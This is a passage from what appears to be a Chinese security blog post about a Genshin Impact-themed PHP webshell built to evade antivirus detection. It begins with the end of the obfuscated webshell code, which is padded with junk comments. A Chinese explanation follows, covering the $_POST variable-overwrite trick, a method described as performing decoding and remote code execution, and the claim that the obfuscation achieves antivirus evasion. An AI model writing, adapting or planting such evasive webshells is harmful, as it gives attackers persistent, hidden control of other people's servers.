希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$this ->blockA + $this/*->ddd; echo();die();\n\0 \00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> blockB + $this -> blockC/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/+ $this -> blockD; }
public function/*\00\00\00%00%00fvjiv fmfveb vebvgebb; gjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/getLockerStatus() { global $text;$text =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\ 00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/strrev($text); if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true; else return false; } }
function pause($obj) { global $appor5nnb; if (!$appor5nnb -> getLockerStatus()) die(); return $obj; }
$appor5nnb = new InazumaPuzzle(); $appor5nnb -> __AFG50CE4_RG1(); $cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN"); $cvb33ff55->__BHUYTVV8_1(); $cvb33ff55 -> __CPRBB0R0_l(); $cvb33ff55 ->__HNBB70CA_5(); ?>


错误报告和Header设置:

//error_reporting(0);
header("Content-type:text/html;charset=utf-8");

第一行被注释掉,意味着错误报告功能开启,这可能会显示所有的错误和警告。第二行设置了内容类型为HTML,并且编码为utf-8。


从POST请求注册变量:

foreach($_POST as $key => $value) $$key = $value;

这个点即为精髓,因为它将所有POST请求参数直接注册为变量,这可以导致安全问题,如变量覆盖和注入攻击。


字符串处理:

if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");$puzz_writeup = array();for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);

   这段代码检查$wpstring变量的长度,如果它是空字符串,则脚本会终止。之后,它将字符串的每个字符推入到一个数组中。


类定义和方法:

PerlinNoise类用来生成某种噪声图的,通常用于图形处理或游戏开发中。代码中的函数命名和逻辑不够清晰,包含了很多随机的函数名和变量名。

__construct方法设置了一些初始化参数,并检查传入的数组长度是否在3000到9999之间。

__PLAB4CR0_o和__PLvB4CR0_Z方法受到源类型"GENERATE"或"SYSLOG"的影响,并生成一些数值。

__CPRBB0R0_l方法看起来是在计算噪声图的值。

__HNBB70CA_5方法包含了某些解码操作和全局变量的调用,RCE操作。

InazumaPuzzle类:

此类含有私有属性$blockA到$blockD,和一些设置它们值的方法。

方法__AFG50CE4_RG1处理原始人谜题,检查$puzz_writeup数组并执行hit方法。


其他函数和操作:

pause函数检查了一个名为$appor5nnb的对象的锁状态,并返回传入的参数。

最后,创建了InazumaPuzzle和PerlinNoise的实例,执行了一系列方法调用。

整个脚本含有大量混淆代码,从而达到了免杀的效果。


结语

你说的对,但是《原神》是由米哈游自主研发的一款全新开放世界冒险游戏。


后台回复“交流群”获取技术交流群链接。

客官,来个关注吧,长期更新技术文章


往期精彩

TangGo使用教程 | TangGo更新和安装

韩国某摄像头公司存在未授权添加用户漏洞[漏洞复现]

如何拿抓取互联网上的0day???

给你的kali装上AWVS漏扫神器!

创新蓝队-针对DNSlog数据外带攻击的应急与预防


继续滑动看下一个

网安?原神?免杀WebShell?啊啊啊??

ChinaRan404 知攻善防实验室
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存